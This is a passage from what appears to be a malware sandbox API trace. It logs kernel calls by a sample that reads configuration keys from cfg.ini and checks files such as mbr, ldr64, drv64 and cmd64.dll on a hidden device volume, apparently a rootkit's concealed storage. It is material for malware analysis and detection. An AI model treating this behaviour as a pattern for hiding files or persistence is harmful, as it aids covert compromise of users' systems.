(in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.946] IdePortDispatch () returned 0x103 [0119.946] KeWaitForMutexObject () returned 0x0 [0119.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.946] KeLeaveCriticalRegion () [0119.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.947] KeEnterCriticalRegion () [0119.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] KeLeaveCriticalRegion () [0119.947] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.947] KeEnterCriticalRegion () [0119.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.947] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] KeLeaveCriticalRegion () [0119.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.947] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.947] KeEnterCriticalRegion () [0119.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] KeLeaveCriticalRegion () [0119.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.947] ReleaseMutex (hMutex=0xf0) returned 1 [0119.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.947] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.947] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.947] KeEnterCriticalRegion () [0119.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.947] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.947] IdePortDispatch () returned 0x103 [0119.947] KeWaitForMutexObject () returned 0x0 [0119.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.948] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.948] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9b40 [0119.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.948] KeLeaveCriticalRegion () [0119.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.948] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.948] KeEnterCriticalRegion () [0119.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.948] KeLeaveCriticalRegion () [0119.948] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.948] KeEnterCriticalRegion () [0119.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.948] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.948] IdePortDispatch () returned 0x103 [0119.948] KeWaitForMutexObject () returned 0x0 [0119.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.948] KeLeaveCriticalRegion () [0119.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.949] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.949] KeEnterCriticalRegion () [0119.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.949] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0119.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.949] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.949] IdePortDispatch () returned 0x103 [0119.949] KeWaitForMutexObject () returned 0x0 [0119.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.949] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.949] IdePortDispatch () returned 0x103 [0119.949] KeWaitForMutexObject () returned 0x0 [0119.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] KeLeaveCriticalRegion () [0119.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.950] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.950] KeEnterCriticalRegion () [0119.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] KeLeaveCriticalRegion () [0119.950] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.950] KeEnterCriticalRegion () [0119.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] KeLeaveCriticalRegion () [0119.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.950] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.950] KeEnterCriticalRegion () [0119.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] ExFreePoolWithTag (P=0xfffffa8003bc9b40, Tag=0x0) [0119.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.950] KeLeaveCriticalRegion () [0119.950] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.950] ReleaseMutex (hMutex=0xf0) returned 1 [0119.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.951] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.951] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.951] KeEnterCriticalRegion () [0119.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.951] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.951] IdePortDispatch () returned 0x103 [0119.951] KeWaitForMutexObject () returned 0x0 [0119.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.951] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.951] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.951] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.951] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.951] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da090 [0119.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.951] KeLeaveCriticalRegion () [0119.951] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.951] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.951] KeEnterCriticalRegion () [0119.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.951] KeLeaveCriticalRegion () [0119.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.951] KeEnterCriticalRegion () [0119.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.952] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.952] IdePortDispatch () returned 0x103 [0119.952] KeWaitForMutexObject () returned 0x0 [0119.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.952] KeLeaveCriticalRegion () [0119.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.952] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.952] KeEnterCriticalRegion () [0119.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.952] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0119.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.952] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.952] IdePortDispatch () returned 0x103 [0119.952] KeWaitForMutexObject () returned 0x0 [0119.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.952] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.952] IdePortDispatch () returned 0x103 [0119.952] KeWaitForMutexObject () returned 0x0 [0119.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] KeLeaveCriticalRegion () [0119.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.953] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.953] KeEnterCriticalRegion () [0119.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] KeLeaveCriticalRegion () [0119.953] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.953] KeEnterCriticalRegion () [0119.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.953] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] KeLeaveCriticalRegion () [0119.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.953] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.953] KeEnterCriticalRegion () [0119.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] ExFreePoolWithTag (P=0xfffffa80039da090, Tag=0x0) [0119.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.953] KeLeaveCriticalRegion () [0119.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.953] ReleaseMutex (hMutex=0xf0) returned 1 [0119.953] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.954] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.954] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.954] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.954] KeEnterCriticalRegion () [0119.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.954] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.954] IdePortDispatch () returned 0x103 [0119.954] KeWaitForMutexObject () returned 0x0 [0119.954] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.954] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.954] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.954] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.954] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.954] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.954] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.954] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.954] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.954] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.954] KeLeaveCriticalRegion () [0119.954] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.954] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.954] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.954] KeEnterCriticalRegion () [0119.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.955] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.955] IdePortDispatch () returned 0x103 [0119.955] KeWaitForMutexObject () returned 0x0 [0119.955] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.955] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.955] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.955] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.955] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.955] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.955] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.955] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.955] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.955] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.955] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.955] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.955] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.955] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.955] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.955] KeLeaveCriticalRegion () [0119.955] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.955] ReleaseMutex (hMutex=0x100) returned 1 [0119.955] Sleep (dwMilliseconds=0x2bf20) [0119.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ab32590, dwHighDateTime=0x1d24fa4)) [0119.963] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.963] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.963] KeEnterCriticalRegion () [0119.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.964] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.964] IdePortDispatch () returned 0x103 [0119.964] KeWaitForMutexObject () returned 0x0 [0119.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.964] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.964] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.964] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.964] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.964] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.964] KeLeaveCriticalRegion () [0119.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.964] 